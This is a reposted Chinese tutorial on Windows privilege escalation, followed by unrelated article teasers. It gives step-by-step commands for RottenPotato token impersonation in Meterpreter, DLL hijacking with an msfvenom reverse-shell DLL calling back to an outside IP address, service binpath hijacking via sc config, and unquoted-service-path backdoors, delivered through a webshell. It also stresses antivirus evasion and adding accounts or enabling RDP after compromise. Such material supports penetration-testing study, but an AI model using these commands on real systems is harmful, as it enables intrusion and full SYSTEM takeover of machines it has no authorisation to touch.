62 权限提升-烂土豆dll劫持引号路径服务权限

目录

    • 演示案例:
      • Win2012-烂士豆配合令牌窃取提权-Web权限
      • Win2012-DLL劫持提权应用配合MSF-Web权限
      • Win2012-不安全的服务权限配合MSF-本地权限
      • Win2012-不带引号服务路径配合MSF-Web,本地权限
      • 补充说明: dll劫持提权及AlwaysInstallElevated等说明
      • 关于Windows相关知识点总结说明-权限层,系统层,防护层等
    • 涉及资源:

演示案例:

Win2012-烂士豆配合令牌窃取提权-Web权限

单纯令牌窃取: web权限或本地提权
如配合烂土豆提权: web或数据库等权限

RottenPotato (烂土豆) 提权的原理可以简述如下:

1.欺骗 “NT AUTHORITY\SYSTEM” 账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击 (NTLM重放) ,为"NT AUTHORITY\SYSTEM" 账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有 “模仿安全令牌权限” 的账户才能去模仿别人的令牌。一般大多数的服务型账户 (IIS、MSSQL等) 有这个权限,大多数用户级的账户没有这个权限。

所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户 (就是上面说的用户级账户) 去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀 (lIS服务器权限) 反弹meterpreter就会成功。

烂土豆比热土豆的优点是:

1.100%可靠
2.(当时)全版本通杀,现在是需要自己做个免杀
3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。

总之,我对这个的理解是通过中间人攻击,将COM (NT\SYSTEM权限) 在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。

原理:参考上述图片内容,非服务类用户权限无法窃取成功
原理过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功。

upload /root/potato.exe C:\Users\Public
cd C:\\users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITYA\\SYSTEM"

提权层面是在web权限上面提升至system权限,这个是跨越比较大的权限,一般我们的提权方法是本地提权,就是本地用户提升至system,这个烂土豆配合令牌窃取提权只要有web权限就可以

在webshell上面上传烂土豆,然后执行烂土豆,紧接着利用窃取模块,窃取SYSTEM权限,最后获取成功

这个是我们前期在目标主机装上去的webshell,就是我们提权获取到web权限,通过这个web权限实现windows的提权
在这里插入图片描述
查看用户名和当前权限,它是普通用户,就是大部分的web权限
在这里插入图片描述
首先我们打开msf生成后门,搜索msfvenom生成木马
https://blog.csdn.net/qq_63844103/article/details/128801917
在这里插入图片描述
先有msf,再有CS,CS内网用的比较多一点,这只是单纯的提权
我们把生成好的后门通过webshell传上去,执行它就完事了
在这里插入图片描述
在这里插入图片描述
这个时候就是属于监听状态,然后webshell这边执行文件
在这里插入图片描述
在这里插入图片描述
这个时候我们需要对它进行提权,令牌窃取是建立在权限足够的情况下进行提权,所以我们先进行烂土豆提权
我们可以去网上下载烂土豆提权
在这里插入图片描述
烂土豆必须在msf执行,切换到烂土豆在的目录,然后执行它
在这里插入图片描述
紧接着,我们在重复一次令牌窃取,提权成功
在这里插入图片描述

Win2012-DLL劫持提权应用配合MSF-Web权限

特定软件应用:第三方软件并且权限在控制的时候,比如在操作第三方软件的时候,能够删除它的文件,覆盖它里面的文件

原理: windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录 (先系统后用户)
过程: 信息收集-进程调试-制作dll并上传-换dll-启动应用后成功

DLL劫持提权是比较鸡肋的,但是还是要讲,因为它也是提权方法里面的一种,基本上windows系统都是通杀的,DLL文件在windows上是动态链接库,就好比exe程序,就是很多在开发软件的时候,就会开发dll库,就是程序在启用的时候,默认会调用一些dll库,实现它功能的加载,就是有些程序在写的时候,有些功能需要dll库支持,也就是说dll库是可以实现一些功能的,我们如果能自定义dll库,就能控制执行的东西

信息收集服务器上的第三方软件特有应用程序的信息,我们要分析程序在运行的时候,它有调用那些dll,知道之后,我们就制作一个后门dll去把它进行上传,替换原有的dll,然后当程序启用成功之后,就会调用我们替换的dll来实现这个dll劫持

我们可以通过前期的基本信息,然后可以看一下它有没有一些程序、服务、第三方软件

在这里插入图片描述
可以看到有一个第三方软件,ftp传输软件,符合我们dll提权的一个条件
在这里插入图片描述
我们本地下载这个程序,去调式它
在这里插入图片描述
我们先运行这个软件,找到这个进程
在这里插入图片描述
在这里插入图片描述
我们做的是提权,系统文件我们不可能去更改它,因为本身权限就不够,所以我们看的是数字签名文件和未知文件,数字签名文件这里有引用到其它程序的dll文件

在这里插入图片描述
我们可以尝试去替换dll文件,来实现把dll文件自定义,我们只能够去替换能修改的目录的dll文件,所以我们得选择第三方软件的dll,所以这个时候,我们就在msf上生成恶意dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/ssleay.dll

我们通过shell把生成的dll文件上传上去,然后把源文件替换掉

在这里插入图片描述
我们在msf上开启监听,运行后门exe文件
在这里插入图片描述
接收到会话,我们在利用令牌窃取,因为administrator权限足够了
在这里插入图片描述
这个就是dll劫持,它是比较鸡肋的,对方必须要启用这个程序才行,就是替换完之后,管理员要启用它才行,如果不启用它,就没办法,因为启动了就表示会加载dll,dll就是我们替换的dll,除此之外,dll就是要考虑替换,这个替换权限指的是要看你当前的权限,不是说一定就有,如果webshell权限设置的比较宽松的话,是有的,但是它设置比较严谨的情况下,所以它有前提条件,这个条件要满足才可以

它要满足的条件有点多:1、它装有第三方软件;2、有替换权限;3、管理员要去运行这个程序才行

直接利用火绒剑这个程序去分析进程所加载的dll,排除系统的dll,因为系统的dll,我们是没有权限去替换它,目录都看不了,怎么去替换,所以我们要去找自身程序自带的dll,尝试替换

收集信息有没有第三方的,然后通过收集信息对第三方软件本地去分析,因为我们不可能在服务器上进行分析,因为你要提权的服务器你怎么分析那个进程呢,我们不能打开看,所以我们只能去本地下载一个同样的软件,然后在自己的电脑上去分析,调用dll,知道之后,制作一个dll,把原有的dll进行替换,然后等待这个管理员的启用,应用之后,我们才能接收这个会话,反弹的webshell

这个dll可以进行自定义的,不需要反弹回来,把这个dll,自己通过开发,写个dll,一旦提权成功,自己就创建一个账户,都可以

Win2012-不安全的服务权限配合MSF-本地权限

原理: 即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程: 检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

accesschk.exe -uwcgv "administrators" *
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"

根据你当前用户权限,看一下你这个用户有没有可以操作的服务进行配置

利用accesschk.exe文件,去执行-uwcgv命令,冒号里面就是当前的用户、用户组,来检测当前的用户、用户组有没有可以操作的服务命令,一般这种提权适用本地,webshell一般就不现实了

accesschk.exe -uwcgv "administrators" *

我们检测到当前用户组享受这些所有权限的,包括读写、删除、修改各种各样的
在这里插入图片描述

我们查询user组,说明user组的用户没有对这些服务进行操作的权限
在这里插入图片描述
如果在实战中,我们碰到这个提示,说明我们这个提权方法GG,因为当前组没有可以进行的操作

指向这个服务名对应的文件,操作完之后,发现服务对应的路径就更改了

sc config "NewServiceName" binpath="C:\test.exe"

在这里插入图片描述
在这里插入图片描述
启动系统服务,很显然就会执行test.exe,我们监听一下会话

sc start "NewServiceName"

在这里插入图片描述
在这里插入图片描述
我通过这个东西直接提权到system权限,webshell权限大部分是不够的,webshell权限大部分不能够对服务进行更改,所以它大部分是本地提权的概念

Win2012-不带引号服务路径配合MSF-Web,本地权限

原理: 当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

过程: 检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功

我们看一下我们当前电脑服务,我们可以点击每个服务对应的属性,是不是会对应执行文件,当我们打开这个服务的时候,会默认执行这条命令,而且是以system权限去运行它
在这里插入图片描述
在这里插入图片描述

windows服务程序在配置的时候,出现配置不带引号的东西之后,就会出现安全问题,它会认为空格之后是参数,会导致这个文件在运行的时候,出问题

在这里插入图片描述

检测服务器上有没有有问题的服务路径,就是看它有没有引号,有引号就是正常的,会正常的调用参数,没有引号就会出现安全问题,如果没有我们就可以利用路径制作文件并上传,启用服务或者等待服务器的重启,因为服务器重启会加载一些服务,那么可能就会把你的服务加载,所以我们就等待服务重启,启用服务是需要权限的,如果权限不够的话,就等待服务器的重启,一旦服务被调用就会成功去运行之前的后门文件

用这个命令去检测服务调用执行命令没有引号的

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

如果有提示,就表示这两个地方可以操作,有安全问题必须不带引号,目录里面必须带空格,不带空格也不行,因为空格是命令参数执行的标准
第二个文件目录放上去执行的时候会出现,前面当作一个执行程序,后面当作命令参数
在这里插入图片描述
下面的cmd命令,执行的是C:\Program
在这里插入图片描述
使用msf制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录
在这里插入图片描述

在webshell里面启动服务的命令,可能会出现没有权限启用,所以引号路径攻击多用于本地环境

sc start "服务名"

启动服务,我们放在C盘的后门被启动,msf监听到,提权成功
在这里插入图片描述
因为服务启用就会调用系统权限,所以就能获得系统权限,如果掉了,有可能是因为服务崩了

如果在实战中,权限丢了也不要紧,因为我们可以把exe换成不需要时刻连接的,因为这个后门是msf后门,所以才需要时刻连接,保持它进程的运行
我们可以把后门替换成远控的,一旦执行就执行命令,添加用户,开3389等操作,这些都是后期可以进行的操作

注意这个提权是要看对方有没有安全问题,它其实就是检测服务里面绑定程序的时候,有没有按照规矩的使用引号,因为我们这个服务大部分都是自带服务,然后加上你安装的软件,有时候你安装软件之后,软件会自动创建服务,像apche大部分都是自带服务,如果这个软件在创建服务的时候,没有按照规矩加双引号,就会出现这个安全问提,我们可以通过命令去寻找服务里面对应的程序绑定目录的时候有没有安全问题,有,我们就可以操作它,你直接上后门替换它对应目录里面对应的程序就可以了

有一定的适应面,同时比较鸡肋,因为系统如果不安装第三方软件或者其它东西的话,就不会出现这个问题,而且第三方软件有部分不会出现安全问题,因为有写第三方软件有去正确的配置服务目录,很多情况下都是没有这个引号路径问题的,这就是它比较鸡肋的地方

补充说明: dll劫持提权及AlwaysInstallElevated等说明

dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallELevated提权默认禁用配置,利用成功机会很少

很多知识点一碰实战就搞不来的原因,就是很多知识点是有前提条件的,不满足那个前提条件是没办法执行的
在这里插入图片描述
你自己都要提权了,你怎么以system权限手动提权它呢,一般管理员是默认不会把AlwaysInstallElevated开启的,我们不讲它的原因是它的利用条件实在是太苛刻了,AlwaysInstallElevated基本是禁用的,用不了,我们就没必要去学它
在这里插入图片描述

关于Windows相关知识点总结说明-权限层,系统层,防护层等

总结windows提权知识点
掌握: 提权方法对应层面,提权方法对应系统版本,相关文件及后门免杀问题等

webshell权限大部分是搭建平台赋予的权限,是个非常小的权限,它没有user大,比来宾用户权限大一些

在本地能操作的,一般在web层面也能操作,因为本地权限比web权限大
数据库提权和溢出漏洞是通用的,在本地和web层面都可以

红蓝对抗里面免杀是核心,因为实战情况下,免杀过不了,会导致很多东西都操作不了,免杀是大部分面对的最大的困难,网上有很多文章,但是你会发现大部分已经通用了,

系统服务的权限要看是谁启动的,那就是谁的权限

涉及资源:

https://github.com/tennc/webshell
https://www.sdbeta.com/wg/2020/0628/235361.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/172583.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

yo!这里是异常相关介绍

目录 前言 异常的概念 异常的抛出与捕获 捕获过程 重新抛出 规范 异常体系 自定义 标准库 异常的优缺点 后记 前言 对于程序运行时发生的错误,比如内存错误、除0错误等类型,你会如何处理?是使用assert终止程序或是使用exit返回错误…

Linux系统---僵尸进程、孤儿进程

顾得泉:个人主页 个人专栏:《Linux操作系统》 《C/C》 键盘敲烂,年薪百万! 有了上一篇博客的学习,我们已经简单了解了进程的基础知识,今天我们再来学习两个特殊的进程,僵尸进程和孤儿进程。 …

7000字详解 动态代理(JDK动态代理 CGLIB动态代理)与静态代理

代理模式 1. 代理模式 概念2. 静态代理3. 动态代理3.1.JDK动态代理3.2.CGLIB动态代理3.3. JDK动态代理和CGLIB动态代理区别 4.静态代理和动态代理区别5.篇末 1. 代理模式 概念 代理模式是一种设计模式。 使用代理对象来替代真实对象,用代理对象去访问目标对象。这样…

虚拟化逻辑架构: LBR 网桥基础管理

目录 一、理论 1.Linux Bridge 二、实验 1.LBR 网桥管理 三、问题 1.Linux虚拟交换机如何增删 一、理论 1.Linux Bridge Linux Bridge(网桥)是用纯软件实现的虚拟交换机,有着和物理交换机相同的功能,例如二层交换&#…

百面深度学习-自然语言处理

自然语言处理 神经机器翻译模型经历了哪些主要的结构变化?分别解决了哪些问题? 神经机器翻译(Neural Machine Translation, NMT)是一种使用深度学习技术来实现自动翻译的方法。自从提出以来,NMT模型经历了几个重要的…

HTTP协议发展

HTTP 1.0 -> HTTP 1.1 -> HTTP 2.0 -> HTTP 3.0 (QUIC) 每一代HTTP解决了什么问题? 下图说明了主要功能。 HTTP 1.0 于 1996 年最终确定并完整记录。对同一服务器的每个请求都需要单独的 TCP 连接。 HTTP 1.1 于 1997 年发布。TCP 连接可以保持打开状态…

openGauss学习笔记-132 openGauss 数据库运维-查看openGauss状态

文章目录 openGauss学习笔记-132 openGauss 数据库运维-查看openGauss状态132.1 背景信息132.2 前提条件132.3 操作步骤132.4 参数说明132.5 示例 openGauss学习笔记-132 openGauss 数据库运维-查看openGauss状态 132.1 背景信息 openGauss支持查看整个openGauss的状态&#…

如何在Linux系统安装Nginx并启动

Nginx的介绍 Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器。其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好。官网:nginx newsNginx的下载 前往…

docker基础学习笔记

文章目录 Docker简介Linux下安装DockerDocker常用命令Docker网络Docker存储docker-composedockerfile制作镜像私有仓库镜像导入导出参考 Docker简介 定义:Docker是一个开源的应用容器引擎优势: 一键部署,开箱即用:容器使用基于im…

Qt5.15.2静态编译 VS2017 with static OpenSSL

几年前编译过一次Qt静态库:VS2015编译Qt5.7.0生成支持XP的静态库,再次编译,毫无压力。 一.环境 系统:Windows 10 专业版 64位 编译器:visual studio 2017 第三方工具:perl,ruby和python python用最新的3.x.x版本也是可以的 这三个工具都需要添加到环境变量,安装时勾选…

057-第三代软件开发-文件监视器

第三代软件开发-文件监视器 文章目录 第三代软件开发-文件监视器项目介绍文件监视器实现原理关于 QFileSystemWatcher实现代码 关键字: Qt、 Qml、 关键字3、 关键字4、 关键字5 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QML&…

人工智能时代的内容写作

内容不再只是王道,正如俗话所说:它是一种流动的货币,推动了巨大的在线信息和影响力经济。 每个品牌都是一个故事,通过其服务和商品讲述自己。尽管如此,大多数客户还是会通过您的在线内容最了解您。 但随着我们进入人…

每日一题:LeetCode-LCR 143.子结构判断

每日一题系列(day 05) 前言: 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 &#x1f50e…

汇编:关于栈的知识

1.入栈和出栈指令 2. SS与SP 3. 入栈与出栈 3.1 执行push ax ↑↑ 3.2 执行pop ax ↓↓ 3.3 栈顶超界的问题 4. 寄存器赋值 基于8086CPU编程时,可以将一段内存当作栈来使用。一个栈段最大可以设为64KB(0-FFFFH)。 1.入栈和出栈指令…

C语言——函数

导读 : 这篇文章主要讲解一下C语言函数的一些基本知识。 前言:函数的概念 C语言中的函数又常常被称为子程序,是用来完成某项特定的工作的一段代码。就像我们生活中的模块化建造技术,类比模块化建房子的过程:整个程序…

高校大学校园后勤移动报修系统 微信小程序uniapp+vue

本文主要是针对线下校园后勤移动报修传统管理方式中管理不便与效率低的缺点,将电子商务和计算机技术结合起来,开发出管理便捷,效率高的基于app的大学校园后勤移动报修app。该系统、操作简单、界面友好、易于管理和维护;而且对后勤…

Python中类的定义和使用细讲

文章目录 前言一、定义类二、创建类的实例三、创建 _ _ init _ _() 方法四、创建类的成员并访问1. 创建实例方法并访问2. 创建数据成员并访问 五、访问限制 前言 在 Python 中,类表示具有相同属性和方法的对象的集合。在使用类时,需要先定义类&#xff0…

Android安卓设置跳转默认应用商店为Google Play 链接跳转到谷歌商店临时解决方法

手机链接默认不跳转 Google Play 因为大部分安卓厂商系统都根据了自己的需求进行了修改,就成为了系统级导流,想要彻底解除可刷写国际版等原生系统即可恢复 解决方法 使用冻结软件(例如 爱玩机手机助手(root)等应用)对 应用商城 进行临时冻结,如需保证正常使用解除冻结状态即可…

清分系统对账

流程1的问题: 1、通道一天的数据会有多少,有二三十万条交易数据吗? 2、如果数据过大都存到一个Map里面去,机器不得挂了 步骤1总结: 1、通过channelNo获取通道T的数据,因为通道是一天一个文件给过来。在转…

首届教师案例教学竞赛一等奖作品上线至和鲸社区,快来学习!

细心的朋友可能已经发现,近期和鲸社区的频道页上线了一个新专区——“优秀参赛作品专区”。 图.和鲸社区频道页 迄今为止,和鲸参与/支持了 500 多场专业数据科学竞赛,包括面向气象、金融、医学、海洋等不同领域的,面向从业者、科学…